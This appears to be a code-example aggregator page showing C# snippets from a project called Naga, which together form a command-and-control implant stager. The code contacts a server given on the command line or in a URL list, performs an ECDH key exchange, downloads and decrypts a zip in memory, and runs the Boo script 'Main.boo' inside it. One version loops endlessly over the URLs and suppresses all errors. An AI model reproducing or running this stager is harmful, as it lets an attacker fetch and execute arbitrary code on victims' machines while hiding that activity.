Beispiel #1
0
        public static void Main(string[] args)
        {
            if (args.Length != 1)
            {
                Console.WriteLine("Usage: ST.exe <URL>");
                Environment.Exit(1);
            }

            try
            {
                BASE_URL = new Uri(args[0]);
                URL      = new Uri(new Uri(args[0]), GUID.ToString());
            }
            catch
            {
                Console.WriteLine("Invalid URL?");
                Environment.Exit(1);
            }

            //AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(ResolveEventHandler);

#if DEBUG
            Console.WriteLine("[+] URL: {0}", URL);
#endif

            byte[] key           = Crypto.ECDHKeyExchange(URL);
            byte[] encrypted_zip = Comms.HttpGet(URL);
            _stage = ZipStorer.Open(new MemoryStream(Crypto.Decrypt(key, encrypted_zip)), FileAccess.ReadWrite, true);

            byte[] resource = Utils.GetResourceFromZip(_stage, "Main.boo");
            string source   = Encoding.UTF8.GetString(resource, 0, resource.Length);

            RunBooEngine(source);
        }
Beispiel #2
0
Datei: St.cs Projekt: pafh99/Naga
        public static void Start(string _guid, string _psk, string[] _urls)
        {
            //AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(ResolveEventHandler);

            GUID   = Guid.Parse(_guid);
            HEXPSK = _psk;
            PSK    = Utils.Hex2Binary(_psk);
            URLS   = _urls;

#if DEBUG
            Console.WriteLine("[+] URLS: {0}", String.Join(",", URLS));
#endif
            while (true)
            {
                foreach (var url in URLS)
                {
                    Uri URL;
                    URL = new Uri(new Uri(url), GUID.ToString());
                    try
                    {
                        byte[] key           = Crypto.ECDHKeyExchange(URL, PSK);
                        byte[] encrypted_zip = Comms.HttpGet(URL);
                        _stage = ZipStorer.Open(new MemoryStream(Crypto.Decrypt(key, encrypted_zip)), FileAccess.ReadWrite, true);

                        byte[] resource = Utils.GetResourceFromZip(_stage, "Main.boo");
                        string source   = Encoding.UTF8.GetString(resource, 0, resource.Length);

                        RunBooEngine(source);
                    }
                    catch { }
                }
            }
        }
Beispiel #3
0
        public static byte[] ECDHKeyExchange(Uri URL, string Endpoint = "")
        {
            byte[] key = default(byte[]);

            using (ECDiffieHellmanCng AsymAlgo = new ECDiffieHellmanCng())
            {
                var    publicKey = AsymAlgo.PublicKey.ToXmlString();
                byte[] r         = Comms.HttpPost(URL, Endpoint, Encoding.UTF8.GetBytes(publicKey));

                ECDiffieHellmanCngPublicKey peerPublicKey = ECDiffieHellmanCngPublicKey.FromXmlString(Encoding.UTF8.GetString(r));
                key = AsymAlgo.DeriveKeyMaterial(peerPublicKey);
            }
            return(key);
        }